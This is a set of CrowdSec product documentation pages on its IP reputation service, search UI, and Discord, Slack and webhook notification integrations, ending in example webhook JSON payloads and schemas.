Lucene-style querying requires an Advanced CTI plan. [Contact our team](https://www.crowdsec.net/contact-crowdsec?message=Advanced%20CTI%20plan%20discussion) to discuss your use case. ## Using the API[โ€‹](#using-the-api "Direct link to Using the API") CrowdSec provides [ready-made integrations](https://docs.crowdsec.net/u/cti_api/api_integration/integration_intro.md) for the most common security platforms: SIEM, SOAR, TIP, and investigation tools. If your platform is listed, that's the fastest way to get started. If you prefer to use your own scripts, call the API directly from the command line, or build custom playbooks, the API is a straightforward REST interface authenticated with your key. *** ## More ways to learn [![More ways to learn](/img/academy/crowdsec_threat_intelligence.svg)](https://academy.crowdsec.net/course/crowdsec-cyber-threat-intelligence?utm_source=docs\&utm_medium=banner\&utm_campaign=cti-page\&utm_id=academydocs) Watch a short series of videos on how to get the most out of CrowdSec's Cyber Threat Intelligence database [**Learn with CrowdSec Academy**](https://academy.crowdsec.net/course/crowdsec-cyber-threat-intelligence?utm_source=docs\&utm_medium=banner\&utm_campaign=cti-page\&utm_id=academydocs) *** --- # IP Reputation / CTI Query behavioral intelligence on any IP: reputation scores, attack patterns, linked CVEs, and activity history. Sourced from hundreds of thousands of real CrowdSec deployments worldwide. Explore in the Web UI No setup needed. Search any IP directly from your browser: run Lucene queries with live faceted filters (reputation, country, AS, behaviors, classifications) and open any result to see its full report: threat score, behaviors mapped to MITRE ATT\&CK, linked CVEs, and time-windowed activity. [IP Search](https://docs.crowdsec.net/u/console/ip_reputation/search_ui.md)[Advanced Search](https://docs.crowdsec.net/u/console/ip_reputation/search_ui_advanced.md)[IP Report](https://docs.crowdsec.net/u/console/ip_reputation/ip_report.md)[Lucene Query Reference](https://docs.crowdsec.net/u/cti_api/search_queries.md) Enrich your Alerts Unlock programmatic access to 30+ enrichment fields per IP: reputation, behaviors, CVEs, attack context, MITRE mappings, and more. Free tier included, no credit card needed. [Create an API key](https://docs.crowdsec.net/u/console/ip_reputation/api_keys.md)[Data Taxonomy](https://docs.crowdsec.net/u/cti_api/taxonomy/intro.md)[API Reference](https://crowdsecurity.github.io/cti-api/) You might also be interested in ๐Ÿšจ [Live Exploit Tracker โ†—](https://tracker.crowdsec.net/) A dedicated platform tracking CVEs actively exploited in the wild: with exploitation momentum, opportunity scores, and the IPs behind each attack. Uses the same CTI API key. [Explore the Live Exploit Tracker โ†’](https://docs.crowdsec.net/u/tracker_api/intro.md) [Get your first API key โ†’](https://docs.crowdsec.net/u/console/ip_reputation/api_keys.md) *** Full technical reference For API endpoints, request/response schemas, integrations (SIEM, SOAR, TIP platforms), and data taxonomy, see the [CTI API documentation](https://docs.crowdsec.net/u/cti_api/intro.md). --- # Investigating an IP Address CrowdSecโ€™s Cyber Threat Intelligence (CTI) platform provides detailed insights into IP addresses, enabling you to assess their risk levels, threat types, and historical activities. ![CTI Report](/assets/images/page-493ab9f9b57c56fd202260596fb4cc2b.png) ### IP Title and Status[โ€‹](#ip-title-and-status "Direct link to IP Title and Status") The title section prominently displays the **IP address** and its **status**, indicating its current classification: ![CTI Report Title](/assets/images/title-ec0fcbbb8fd189c7366fdb47702a6b10.png) * **Malicious:** The IP has been verified as actively malicious. Immediate remediation is recommended. * **Suspicious:** This IP has been flagged in many reports and is a potential threat. Further investigation and use of CAPTCHA is recommended. * **Known:** This IP has been flagged in some reports but we don't have sufficient information yet to conclusively determine the threat level. * **Benign:** This IP has been flagged as benign and poses no threat. * **Safe:** This IP belongs to a legitimate service. Activity is not malicious. * **Unknown:** This IP is either unknown or has not been reported in the past three months. ### Key Information[โ€‹](#key-information "Direct link to Key Information") This section summarizes essential metadata about the IP, including: ![CTI Report Key information](/assets/images/key_infos-defd79cdf6cf06a746e4256881b8720b.png) * **Confidence Level**: CrowdSecโ€™s trust level in the data associated with this IP, helping users gauge reliability. * **First Seen**: The earliest recorded interaction of the IP. * **Last Seen:** The most recent observation of its activity. * **Country**: The geographical location of the IP. * **Known For**: A brief description of the IPโ€™s activities. A breakdown of why the IP is flagged, such as: * Brute Force Attacks * Credential Stuffing * Port Scanning * Other Known Threat Patterns * **MITRE Techniques** Links or references to specific [MITRE ATT\&CK](https://attack.mitre.org/) techniques that align with the IPโ€™s behavior. * **Background Noise**: A measure of how much "noise" the IP generates on the internet: * **High Background Noise:** Often linked to scanning activities, targeting multiple systems indiscriminately. * **Low Background Noise:** Indicates focused attacks on specific targets, suggesting a more strategic approach or a newer threat actor. ### Majority Report[โ€‹](#majority-report "Direct link to Majority Report") This section provides insights from **CrowdSecโ€™s Quarterly Report**, offering a broader context of cybersecurity trends and observations relevant to all known IPs ![CTI Report majority report](/assets/images/majority_report-9e076ff931e377dc129cd789b1ec9a41.png) > You can find the full report [here](https://majorityreport.crowdsec.net/). ### IP Range, AS, and Reverse DNS[โ€‹](#ip-range-as-and-reverse-dns "Direct link to IP Range, AS, and Reverse DNS") This section offers additional related details: ![CTI Report More key infos](/assets/images/more_info-e03e6309a30845355af75c7a44ef1407.png) #### IP Range[โ€‹](#ip-range "Direct link to IP Range") Shows if the IP range associated with this IP has been flagged as aggressive. #### Autonomous System (AS)[โ€‹](#autonomous-system-as "Direct link to Autonomous System (AS)") Displays the internet service provider or network operator linked to the IP. #### Reverse DNS[โ€‹](#reverse-dns "Direct link to Reverse DNS") The reverse DNS record, if available, providing additional clues about the IPโ€™s origin or intent. #### IP Classification[โ€‹](#ip-classification "Direct link to IP Classification") CrowdSecโ€™s detailed categorization of the IP based on its observed behavior. This classification aligns with CrowdSecโ€™s internal standards and criteria. #### Activity Timeline[โ€‹](#activity-timeline "Direct link to Activity Timeline") A summary of the IPโ€™s recent activity, showing its aggressiveness over time: ![CTI Report activity timeline](/assets/images/activity-5b3206eb8a7474f79532b7034f7237c7.png) * Activity in the **last 24 hours** * Activity in the **last 7 days** * Activity in the **last month** * Activity in the **last 3 months** ### Blocklists[โ€‹](#blocklists "Direct link to Blocklists") Indicates the **blocklists** where the IP is currently listed. These are provided by CrowdSec to community for preemptive blocking. ![CTI Report blocklists](/assets/images/blocklists-1130029ff440f2e63882211de8992ecc.png) It allows to: * View whether the IP is on free or premium blocklists. * Click through to explore the relevant blocklists. > Browse the full CrowdSec blocklists catalog [here](https://app.crowdsec.net/blocklists). And subscribe to it to enhance your security. ### Detailed Classifications[โ€‹](#detailed-classifications "Direct link to Detailed Classifications") A deeper dive into the IPโ€™s classification, providing Name of the Classification and Description: ![CTI Report detailed classifications](/assets/images/classifications-4b1ba839dc3ca543520d9166ac772467.png) ### Targeted Countries[โ€‹](#targeted-countries "Direct link to Targeted Countries") Displays the list of countries most affected by this IP, helping users understand its geographical focus. ![CTI Report top target countries](/assets/images/top_target_countries-5b327fff6274480f887aaa387637d07c.png) ### Attack Details[โ€‹](#attack-details "Direct link to Attack Details") Breaks down specific types of attacks linked to the IP, such as: ![CTI Report attack details](/assets/images/attack_details-e47a30516e8d8f18292d1e79e978d000.png) * **Aggressive Crawling** * **Bad User Agents** * **HTTP Probing** * **Admin Interface Probing** * **Nginx Request Limit Exceeded** * Other known attack behaviors as detailed in [CrowdSecโ€™s Hub](https://app.crowdsec.net/hub). ### Feedbacks[โ€‹](#feedbacks "Direct link to Feedbacks") CrowdSec invites community to participate in improving threat intelligence by: ![CTI Report share opinion](/assets/images/share_opinion-4f9aa25a9c720b93e60fdd9cffa07099.png) * Telling CrowdSec if you **own the IP**. * Reporting the IP as a **false positive** if deemed safe. * Confirming the IP as a **bad actor** if malicious behavior is verified. ### Security Engine Reports[โ€‹](#security-engine-reports "Direct link to Security Engine Reports") > Only available when logged in via the CrowdSec console. You can login to the CrowdSec console [here](https://app.crowdsec.net/sign-in). This section provides a detailed **Security Engine Report** for the IP, showing how it interacted with the your security stack: ![CTI Report security engines report](/assets/images/security_engines_report-5035637e54df20235adc622df4a17a9e.png) * Allows organization's users to add **comments** to the report, share insights, or annotate findings. * Shared comments are visible across all members of the userโ€™s organization, fostering collaboration. ### Conclusion[โ€‹](#conclusion "Direct link to Conclusion") The **CrowdSec IP Detail Report Page** serves as a centralized hub for analyzing and understanding IP behaviors. By presenting detailed insights, real-time activity, and community-driven intelligence, CrowdSec empowers users to make informed decisions about their cybersecurity defenses. > Start the investigation of your first IP [here](https://app.crowdsec.net/cti). --- # Search UI Welcome to **CrowdSecโ€™s Cyber Threat Intelligence (CTI)**!
This guide will help you navigate the **CTI Web UI** and make the most of its features, from searching for IP details to exploring real-time threat insights. Letโ€™s get started! > You can access CrowdSec's CTI via our **Web UI** on the [**CTI Home page** โ†—๏ธ](https://app.crowdsec.net/cti) Or [Create a **CTI API key** and use our **CTI API**](https://docs.crowdsec.net/u/console/ip_reputation/api_keys.md) ## Features on the CTI Web UI[โ€‹](#features-on-the-cti-web-ui "Direct link to Features on the CTI Web UI") The **CTI home page** is designed to give you instant access to valuable **threat intelligence**. Hereโ€™s what youโ€™ll find: [An IP or Query search bar](#search-bar) [A shortcut to search your own IP](#check-your-own-ip) [Predefined query to explore our CTI](#predefined-searches) [A top 10 of the most aggressive IPs](#top-10-most-aggressive-ips) ### Search Bar[โ€‹](#search-bar "Direct link to Search Bar") A powerful search bar at the top of the page allows you to: * Search for any IP address to see detailed information about its activity, risk level, and geolocation. (Example: `192.168.0.0`) * Use Lucene queries for more advanced searches to filter data based on specific criteria, such as threat type or country. *Example queries:* * `reputation:malicious` * `behaviors.label:"HTTP Bruteforce" AND location.country:"FR"` ![CTI Search Bar](/assets/images/searchbar-2fb07302dd5ae4d0be96b2ae4c833929.png) ### Check Your Own IP[โ€‹](#check-your-own-ip "Direct link to Check Your Own IP") A dedicated button lets you check the details of your own IP address with one click. When clicked, this feature automatically redirects you to your IP detail page. ![Search Check own IP button](/assets/images/searchbar_check_ip_button-817dd144c67f508c0b887cf4fbeda1b4.png) ### Predefined Searches[โ€‹](#predefined-searches "Direct link to Predefined Searches") To save time, the home page offers predefined searches showcasing typical use cases. These searches are built with Lucene queries and allow you to explore. Each predefined query is clickable, leading to a results page where you can further refine or explore the data. ![CTI Featured Searches](/assets/images/featured_searches-a960ef338d8e17a9c61007651ce0756e.png) ### Top 10 Most Aggressive IPs[โ€‹](#top-10-most-aggressive-ips "Direct link to Top 10 Most Aggressive IPs") A dynamic leaderboard displays the top 10 most aggressive IPs observed by CrowdSec in the last 24 hours. Each entry includes: * The IP address. * The attack type (e.g., brute force, DDoS). * The geographical location of the IP. * The IP range * The AS * The background noise level (More info [here](https://doc.crowdsec.net/u/console/alerts/background_noise)) Clicking on an IP in the list takes you to its detail page, where you can explore its full profile. ![Top 10 IPs](/assets/images/top_ten_ips-c52fb82c459ac475cc866d770803ecc3.png) > Start exploring the CTI home page [here](https://app.crowdsec.net/cti) and discover the latest threat intelligence to protect your infrastructure. --- # Advanced Search The **Advanced Search Page** in **CrowdSec CTI** allows you to dynamically and precisely explore CrowdSecโ€™s threat intelligence database. You will be able to refine your searches, analyze specific IPs, and discover detailed information using **Lucene queries**. ![CrowdSec Advanced Search Page](/img/console/cti/advanced_search/page-light.png)![CrowdSec Advanced Search Page](/img/console/cti/advanced_search/page-dark.png) > Example in the screenshot: [\`classifications.classifications.name:"crowdsec:ai\_vpn\_proxy" AND (reputation:malicious OR reputation:suspicious)](https://app.crowdsec.net/cti?q=classifications.classifications.name:%22crowdsec:ai_vpn_proxy%22+AND+\(reputation:malicious+OR+reputation:suspicious\)\&page=1) ## **Key Features**[โ€‹](#key-features "Direct link to key-features") #### 1. Faceted Search[โ€‹](#1-faceted-search "Direct link to 1. Faceted Search") On the left side of the page, you will find a **dynamic filter panel**. These filters adapt based on your search query. You will be able to: * Filter results by **reputation** (malicious, suspicious, safe, etc.). * Select specific **Autonomous Systems (AS)** to view IPs associated with particular providers or network operators. * Refine your results by **country** * And more metadata depending on your current search query (Behaviors, Classifications, etc.). #### 2. Results in Card Format[โ€‹](#2-results-in-card-format "Direct link to 2. Results in Card Format") The main section of the page displays results as individual cards. You will be able to see: * The **IP address**. * Its **status** (e.g., malicious, suspicious, safe). * Its **classifications** (e.g., brute force attacker, port scanner). * The **country** associated with the IP. * The last time the IP was **seen**. * Additional metadata to support your analysis. #### 3. Real-Time Updates[โ€‹](#3-real-time-updates "Direct link to 3. Real-Time Updates") As you adjust filters or modify your Lucene query, the results and facets dynamically update, providing a seamless and intuitive experience. *** ## **How to Use the Advanced Search**[โ€‹](#how-to-use-the-advanced-search "Direct link to how-to-use-the-advanced-search") 1. **Perform a Lucene Query**
Enter a query in the search bar on the home page (e.g., [`reputation:malicious AND location.country:"FR"`](https://app.crowdsec.net/cti?q=reputation:malicious+AND+location.country:%22FR%22\&page=1)) and press Enter. You can find more information about Lucene queries [here](https://docs.crowdsec.net/u/cti_api/search_queries/). 2. **Use Faceted Filters**
Once on the Advanced Search Page, apply filters via the left-hand panel to refine your results. 3. **Analyze Results**
Click on a card to view detailed information about a specific IP. 4. **Explore Future Features**
Be prepared to use your queries to create custom blocklists in upcoming versions. *** This page enables you to leverage CrowdSecโ€™s extensive database for tailored searches, offering real-time insights and control over your cybersecurity strategy. > Start exploring the Advanced Search Page [here](https://app.crowdsec.net/cti?q=reputation:malicious+AND+location.country:%22FR%22). --- # Discord Connecting an integration will create a configuration specific to your Discord server. You can then define rules to control which events trigger notifications and which Discord channel theyโ€™re sent to. ## Link your server[โ€‹](#link-your-server "Direct link to Link your server") 1. In the [CrowdSec Console](https://app.crowdsec.net), navigate to **Settings > Integrations** and then select **Configure** in the Discord row. ![](/assets/images/configure-discord-887d2c628205182b6db818d46cc848d3.png) 2. Select the Discord server you want to link to your CrowdSec Console using the dropdown menu on top-tight of the page. Then select **Allow**. Repeat the process if you want to link more servers. 3. You should be redirected to the Discord integration page. You can now create a notification rule by navigating to the **Rules** tab. ![](/assets/images/discord-configuration-tab-00d271f06d26be712f67eb875f8eff5b.png) Your Discord integration is now linked to your CrowdSec Console. ## Create a notification rule[โ€‹](#create-a-notification-rule "Direct link to Create a notification rule") 1. In the [CrowdSec Console](https://app.crowdsec.net), navigate to **Settings > Integrations > Discord** go to the Rules tab and click on **Add rule**. 2. Follow the steps in the [Create a notification rule](https://docs.crowdsec.net/u/console/notification_integrations/rule.md) documentation to create your rule. --- # Overview CrowdSec Premium Feature Discover all the available notification integrations in CrowdSec. Each integration is designed to help you receive alerts and notifications to various platforms, ensuring you stay informed about security events and incidents. Available [here](https://app.crowdsec.net/settings/integrations). > CrowdSec allows you to be linked to any notification integration. However, you need to be a โญ Premium organization to unlock the full potential of the notification integrations. ## Available Integrations[โ€‹](#available-integrations "Direct link to Available Integrations") * [Discord](https://docs.crowdsec.net/u/console/notification_integrations/discord.md) * [Slack](https://docs.crowdsec.net/u/console/notification_integrations/slack.md) * [Webhook](https://docs.crowdsec.net/u/console/notification_integrations/webhook.md) * Coming soon: Microsoft Teams ## How to use notification integrations[โ€‹](#how-to-use-notification-integrations "Direct link to How to use notification integrations") 1. **Link your integration**: Navigate to the **Settings > Integrations** section in the CrowdSec Console and select the integration you want to link. Follow the instructions provided for each integration. 2. [**Create a notification rule**](https://docs.crowdsec.net/u/console/notification_integrations/rule.md): Once your integration is linked, navigate to the **Rules** tab of the integration page. Here, you can create notification rules based on specific events or conditions. ([See the documentation](https://docs.crowdsec.net/u/console/notification_integrations/rule.md) for more details on creating rules.) ## Available Events[โ€‹](#available-events "Direct link to Available Events") The following events are available for notification integrations: **Threat Hunting** | Name | Description | | --------------- | ------------------------------------ | | Is Attacked | Your organization is being attacked. | | Alert Triggered | An alert has been triggered. | **Stack - Management** | Name | Description | | ----------------------------------- | --------------------------------------------------- | | Security Engine Enrolled | A new Security Engine has been enrolled. | | Security Engine Unenrolled | A Security Engine has been unenrolled. | | Security Engine Long Pending Enroll | A Security Engine has been pending for a long time. | **Stack - Monitoring** | Name | Description | | ----------------------------------------- | ----------------------------------------------------------------------------------------------- | | Firewall Integration Offline | A firewall integration is offline. | | Log Processor No Alert | A log processor has not sent any alerts for 48h. | | Log Processor Offline | A log processor is offline. | | Remediation Component Integration Offline | A remediation component integration is offline. | | Remediation Component Offline | A remediation component is offline. | | CrowdSec Stack Component Outdated | A CrowdSec stack component is outdated (Security Engine, Log Processor, Remediation component). | | Security Engine No Alerts | A Security Engine has not sent any alerts for 48h. | | Security Engine Offline | A Security Engine is offline. | | Blocking Known Safe IP | A known safe or legitimate IP address was blocked (false positive). | **Admin** | Name | Description | | --------------- | ----------------------- | | API Key Expired | An API key has expired. | | Payment Failed | A payment has failed. | ## Examples[โ€‹](#examples "Direct link to Examples") --- # Notification rule CrowdSec Premium Feature Notification rules allow you to customize the alerts and notifications you receive from your CrowdSec Console. By setting up specific rules, you can ensure that you are only notified about events that are relevant to your organization. This guide will walk you through the process of creating a notification rule for your linked integration. > You need at least one integration linked to your CrowdSec Console to create a notification rule. If you haven't linked an integration yet, please refer to the [Integrations Overview](https://docs.crowdsec.net/u/console/notification_integrations/overview.md) for more information on how to do so. ## Create a notification rule[โ€‹](#create-a-notification-rule "Direct link to Create a notification rule") 1. In the [CrowdSec Console](https://app.crowdsec.net), navigate to **Notification Rules** and click on **Add Rule**. ![CrowdSec Notification Rule](/img/console/notification_integrations/notification-rule-light.png)![CrowdSec Notification Rule](/img/console/notification_integrations/notification-rule-dark.png) 2. Select the events you want to be notified about. You can only select one of the three category at the time (Threat Hunting, Stack or Admin). Each of these categories contains a list of [events](https://docs.crowdsec.net/u/console/notification_integrations/overview.md) that you can choose from. (Threat hunting category let you select only one event due to its conditions variance). ![CrowdSec Notification Rule Events Selection](/img/console/notification_integrations/events-selection-light.png)![CrowdSec Notification Rule Events Selection](/img/console/notification_integrations/events-selection-dark.png) 3. (Optional) Select a conditions. **Stack** category allows you to filter on Security Engine(s). **Threat Hunting > Alert trigger event** allows you to select specific scenarios. **Engine condition:** ![CrowdSec Notification Rule Engine Condition Selection](/img/console/notification_integrations/engine-condition-selection-light.png)![CrowdSec Notification Rule Engine Condition Selection](/img/console/notification_integrations/engine-condition-selection-dark.png) **Installed scenarios:** ![CrowdSec Notification Rule Scenario Condition Selection](/img/console/notification_integrations/scenario-condition-selection-light.png)![CrowdSec Notification Rule Scenario Condition Selection](/img/console/notification_integrations/scenario-condition-selection-dark.png) 4. Select destination, which is the integration you want to use for this rule. You can select multiple destination for one rule. Destination input varies depending on the integration you selected. For example, Slack integration let you select a channel, while Webhook integration let you select a URL. ![CrowdSec Notification Rule Destination Selection](/img/console/notification_integrations/slack-destination-selection-light.png)![CrowdSec Notification Rule Destination Selection](/img/console/notification_integrations/slack-destination-selection-dark.png) 5. Name and describe your rule. ![CrowdSec Notification Rule Information](/img/console/notification_integrations/rule-information-light.png)![CrowdSec Notification Rule Information](/img/console/notification_integrations/rule-information-dark.png) 6. Click on **Create** to save your rule. 7. Your rule will now appear in the list of notification rules for your integration. You can edit or delete it at any time. ![CrowdSec Notification Rule](/img/console/notification_integrations/notification-rule-light.png)![CrowdSec Notification Rule](/img/console/notification_integrations/notification-rule-dark.png) --- # Slack Connecting an integration will create a configuration specific to your Slack workspace. You can then define rules to control which events trigger notifications and which Slack channel theyโ€™re sent to. ## Link your workspace[โ€‹](#link-your-workspace "Direct link to Link your workspace") By default Slack let any workspace member add application to it. If you want to learn more about it you can check [this Slack article](https://slack.com/intl/en-gb/help/articles/202035138-Add-apps-to-your-Slack-workspace). 1. In the [CrowdSec Console](https://app.crowdsec.net), navigate to **Settings > Integrations** and then select **Configure** in the Slack row. ![](/assets/images/configure-slack-e87e09052f72172d14d16ab57120d929.png) 2. Select the Slack workspace you want to link to your CrowdSec Console using the dropdown menu on top-tight of the page. Then select **Allow**. Repeat the process if you want to link more workspace. 3. You should be redirected to the Slack integration page. You can now create a notification rule by navigating to the **Rules** tab. ![](/assets/images/slack-configuration-tab-d9bee61bb8e6c1ebc7b81f7e63988aed.png) Your Slack integration is now linked to your CrowdSec Console. If you want to link the integration to a private channel, invite it directly from the Slack channel. ## Create a notification rule[โ€‹](#create-a-notification-rule "Direct link to Create a notification rule") 1. In the [CrowdSec Console](https://app.crowdsec.net), navigate to **Settings > Integrations > Slack** go to the Rules tab and click on **Add rule**. 2. Follow the steps in the [Create a notification rule](https://docs.crowdsec.net/u/console/notification_integrations/rule.md) documentation to create your rule. ## Troubleshooting[โ€‹](#troubleshooting "Direct link to Troubleshooting") ### Rate Limiting Error[โ€‹](#rate-limiting-error "Direct link to Rate Limiting Error") If you're attempting to create or update a notification rule and are receiving the following error: "Slack rate limit exceeded.", you should enter channel ID instead of the channel Name and wait for a minute. If your workspace has a lot of channels, we advise your to directly add the channel ID next time. To find a channel's ID in Slack click the name of the channel at the top of the application and the channel ID will be displayed at the bottom of the modal. ## Privacy policy[โ€‹](#privacy-policy "Direct link to Privacy policy") Read the CrowdSec privacy policy here: [Privacy policy](https://www.crowdsec.net/privacy-policy). --- # Webhook ## Install the webhook integration[โ€‹](#install-the-webhook-integration "Direct link to Install the webhook integration") Installing the webhook integration allows you to configure any webhook URL when configuring your notification rule. 1. In the [CrowdSec Console](https://app.crowdsec.net), navigate to **Settings > Integrations** and then select **Activate** in the Webhook row. ![](/assets/images/activate-webhook-873f571362ffb9e97f9db5a498b78d41.png) 2. You should be redirected to the Webhook integration page. You can now create a notification rule by navigating to the **Rules** tab. ![](/assets/images/webhook-overview-tab-1b57519849d334093420f5f1a2c0c29d.png) ## Create a notification rule[โ€‹](#create-a-notification-rule "Direct link to Create a notification rule") 1. In the [CrowdSec Console](https://app.crowdsec.net), navigate to **Settings > Integrations > Webhook** go to the Rules tab and click on **Add rule**. 2. Follow the steps in the [Create a notification rule](https://docs.crowdsec.net/u/console/notification_integrations/rule.md) documentation to create your rule. ## Configure webhook[โ€‹](#configure-webhook "Direct link to Configure webhook") ### Authentication[โ€‹](#authentication "Direct link to Authentication") For the authentication part, the webhook integration supports the following methods: #### Bearer (HTTP Header)[โ€‹](#bearer-http-header "Direct link to Bearer (HTTP Header)") You can provide a specific header name with a specific header value for the webhook integration to authenticate against your webhook URL. Typically we would expect users to use [`Authorization`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Authorization) header using the [`Bearer`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Guides/Authentication#bearer) scheme. However, you can send any header and any value. #### Basic Authentication[โ€‹](#basic-authentication "Direct link to Basic Authentication") You can use [`basic auth`](https://en.wikipedia.org/wiki/Basic_access_authentication) (user/password) for the webhook integration to authenticate against your webhook URL ### Configuration[โ€‹](#configuration "Direct link to Configuration") warning Ping testing is only available during initial creation of the webhook once saved this option is no longer available to prevent abuse. You can configure your custom Webhook URL and authentication by adding a new destination in your notification rule: info If you are using a self-signed certificate or a non-trusted root certificate authority, you can disable SSL verification otherwise known as TLS verification. info All requests sent to your URL are `POST` requests ![Webhook destination](/assets/images/webhook-destination-c0edd2d0f241dfbcd350fd11d7c8d9a3.png) ### Retry[โ€‹](#retry "Direct link to Retry") If a notification fails to be sent through the webhook integration, the system will automatically retry sending it. It will try up to 5 times, with a longer wait between each attempt. #### Retry Scenarios[โ€‹](#retry-scenarios "Direct link to Retry Scenarios") The webhook integration will retry in the following scenarios: * Non-200 HTTP status codes returned from the webhook endpoint * Network connectivity issues: * DNS resolution failures * Connection timeouts (30 seconds to receive a response) * Connection refused errors * TLS/SSL handshake failures (Disable SSL verification if self-signed or non-trusted root CA) * Webhook endpoint is temporarily unavailable ## Events Category[โ€‹](#events-category "Direct link to Events Category") ### Threat Hunting[โ€‹](#threat-hunting "Direct link to Threat Hunting") ![Threat Hunting](/assets/images/threat-hunting-ca5fdf98d47f8cfd5d0e7c941f87d11d.png) info Only one option may be checked under this category #### `Is Attacked`[โ€‹](#is-attacked "Direct link to is-attacked") Your organization is under attack, known as the `am I under attack` feature [documentation](https://docs.crowdsec.net/u/console/security_engines/am_i_under_attack.md) JSONCOPY ``` { "metadata": { "version": 1, "issuer": "crowdsec.net" }, "details": { "event_id": "c6d468d4f1084ebca84165c33f97fbc4", "organization_id": "12345678-1234-1234-1234-123456789012", "event_timestamp": "2021-07-29T12:00:00+00:00", "event_type": "am_i_under_attack", "start_date": "2025-05-26T12:00:00Z", "end_date": "2025-05-26T14:00:00Z", "segments_with_anomaly": [ "2025-05-26T12:15:00Z", "2025-05-26T12:45:00Z", "2025-05-26T13:30:00Z" ], "total_signals": 42, "report_data": { "is_attack_detected": true, "unique_detections": 5, "total_detections": 23, "attack_length": 7200, "first_detection_date": "2025-05-26T12:10:00Z", "last_detection_date": "2025-05-26T13:55:00Z", "increased_percentage": 67.5 }, "watchers": [ { "watcher_uuid": "abc123-watcher-uuid-001", "total_signals": 20 }, { "watcher_uuid": "def456-watcher-uuid-002", "total_signals": 22 } ] } } ``` JSON Schema JSONCOPY ``` { "$defs": { "AIUAAnomalyReport": { "description": "Key stats about the anomaly detection results.", "properties": { "is_attack_detected": { "description": "An attack has been detected", "title": "Is Attack Detected", "type": "boolean" }, "unique_detections": { "description": "The number of unique detections", "title": "Unique Detections", "type": "integer" }, "total_detections": { "description": "The total number of detections", "title": "Total Detections", "type": "integer" }, "attack_length": { "description": "The length of the attack", "title": "Attack Length", "type": "integer" }, "first_detection_date": { "description": "The first detection date", "format": "date-time", "title": "First Detection Date", "type": "string" }, "last_detection_date": { "description": "The last detection date", "format": "date-time", "title": "Last Detection Date", "type": "string" }, "increased_percentage": { "description": "The increased percentage", "title": "Increased Percentage", "type": "number" } }, "required": [ "is_attack_detected", "unique_detections", "total_detections", "attack_length", "first_detection_date", "last_detection_date", "increased_percentage" ], "title": "AIUAAnomalyReport", "type": "object" }, "AIUAWatcherReport": { "description": "Key stats about the anomaly detection results.", "properties": { "watcher_uuid": { "description": "The watcher UUID", "title": "Watcher Uuid", "type": "string" }, "total_signals": { "description": "The total number of signals", "title": "Total Signals", "type": "integer" } }, "required": [ "watcher_uuid", "total_signals" ], "title": "AIUAWatcherReport", "type": "object" } }, "type": "object", "properties": { "metadata": { "type": "object", "properties": { "version": { "type": "integer", "const": 1 }, "issuer": { "type": "string", "const": "crowdsec.net" } }, "required": [ "version", "issuer" ] }, "details": { "properties": { "event_id": { "description": "ID of the source event", "examples": [ "c6d468d4f1084ebca84165c33f97fbc4" ], "title": "Event Id", "type": "string" }, "organization_id": { "description": "Organization ID of the source event", "examples": [ "12345678-1234-1234-1234-123456789012" ], "title": "Organization Id", "type": "string" }, "event_timestamp": { "description": "Timestamp of the source event", "examples": [ "2021-07-29T12:00:00+00:00" ], "format": "date-time", "title": "Event Timestamp", "type": "string" }, "event_type": { "const": "am_i_under_attack", "default": "am_i_under_attack", "title": "Event Type", "type": "string" }, "start_date": { "description": "The attack start date", "format": "date-time", "title": "Start Date", "type": "string" }, "end_date": { "description": "The attack end date", "format": "date-time", "title": "End Date", "type": "string" }, "segments_with_anomaly": { "default": [], "description": "List of detection timestamps", "items": { "format": "date-time", "type": "string" }, "title": "Segments With Anomaly", "type": "array" }, "total_signals": { "default": 0, "description": "The total number of signals", "title": "Total Signals", "type": "integer" }, "report_data": { "anyOf": [ { "$ref": "#/$defs/AIUAAnomalyReport" }, { "type": "null" } ], "default": null, "description": "Anomaly report data" }, "watchers": { "default": [], "description": "Watcher reports", "items": { "$ref": "#/$defs/AIUAWatcherReport" }, "title": "Watchers", "type": "array" } }, "required": [ "event_id", "organization_id", "event_timestamp", "event_type", "start_date", "end_date", "segments_with_anomaly", "total_signals", "report_data", "watchers" ], "title": "AmIUnderAttack", "type": "object" } }, "required": [ "metadata", "details" ] } ``` #### `Alert Triggered`[โ€‹](#alert-triggered "Direct link to alert-triggered") Your enrolled engines have detected malicious activity and the payload of the webhook contains information surrounding the alert. JSONCOPY ``` { "metadata": { "version": 1, "issuer": "crowdsec.net" }, "details": { "event_id": "c6d468d4f1084ebca84165c33f97fbc4", "organization_id": "12345678-1234-1234-1234-123456789012", "event_timestamp": "2021-07-29T12:00:00+00:00", "event_type": "alert_triggered", "uuid": "alert-uuid-1234", "message": "Suspicious SSH behavior detected", "scenario": "ssh-brute-force", "behaviors": [ { "name": "Brute Force", "description": "Multiple failed SSH login attempts detected in short time", "label": "SSH Brute Force" }, { "name": "Port Scan", "description": "Scanning activity detected on multiple ports", "label": "Scan" } ], "start_at": "2025-05-26T18:00:00Z", "stop_at": "2025-05-26T18:10:00Z", "target": { "ip": "192.168.1.10", "id": "machine-01", "name": "internal-server-01" }, "source": { "scope": "ip", "value": "203.0.113.25", "as_name": "ExampleISP", "as_number": 64512, "country": "US", "city": "San Francisco", "latitude": 37.7749, "longitude": -122.4194, "rdns": "25.113.0.203.example.com" }, "is_manual_decision": false, "scenario_confidence": 85 } } ``` JSON Schema JSONCOPY ``` { "$defs": { "AlertBehavior": { "properties": { "name": { "description": "The attack behavior name", "title": "Name", "type": "string" }, "description": { "description": "The attack behavior description", "title": "Description", "type": "string" }, "label": { "description": "The attack behavior label", "title": "Label", "type": "string" } }, "required": [ "name", "description", "label" ], "title": "AlertBehavior", "type": "object" }, "AlertTarget": { "properties": { "ip": { "description": "The IP targeted by the attack", "title": "Ip", "type": "string" }, "id": { "description": "The id of the machine targeted by the attack", "title": "Id", "type": "string" }, "name": { "anyOf": [ { "type": "string" }, { "type": "null" } ], "default": null, "description": "The name of the machine targeted by the attack", "title": "Name" } }, "required": [ "ip", "id" ], "title": "AlertTarget", "type": "object" }, "AlertSource": { "properties": { "scope": { "description": "The scope of the value", "title": "Scope", "type": "string" }, "value": { "description": "The value of the source", "title": "Value", "type": "string" }, "as_name": { "anyOf": [ { "type": "string" }, { "type": "null" } ], "default": null, "description": "The AS name of the source", "title": "As Name" }, "as_number": { "anyOf": [ { "type": "integer" }, { "type": "null" } ], "default": null, "description": "The AS number of the source", "title": "As Number" }, "country": { "anyOf": [ { "type": "string" }, { "type": "null" } ], "default": null, "description": "The country of the source", "title": "Country" }, "city": { "anyOf": [ { 